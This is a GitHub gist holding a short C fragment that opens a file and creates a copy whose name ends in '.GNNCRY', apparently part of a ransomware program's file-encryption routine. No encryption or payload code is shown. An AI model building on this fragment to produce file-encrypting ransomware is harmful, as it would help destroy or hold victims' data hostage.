Skip to content

Instantly share code, notes, and snippets.

@tarcisio-marinho
Created December 13, 2017 17:43
Show Gist options
  • Save tarcisio-marinho/c05f234f98deb47f52271d35923077e3 to your computer and use it in GitHub Desktop.
Save tarcisio-marinho/c05f234f98deb47f52271d35923077e3 to your computer and use it in GitHub Desktop.
open file
old = fopen(files->info[2], "rb");
if(old != NULL){
new_name = (char*) malloc(sizeof(char) * (strlen(files->info[2]) + 11));
strcpy(new_name, files->info[2]);
strcat(new_name, ".GNNCRY");
new = fopen(new_name, "wb");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment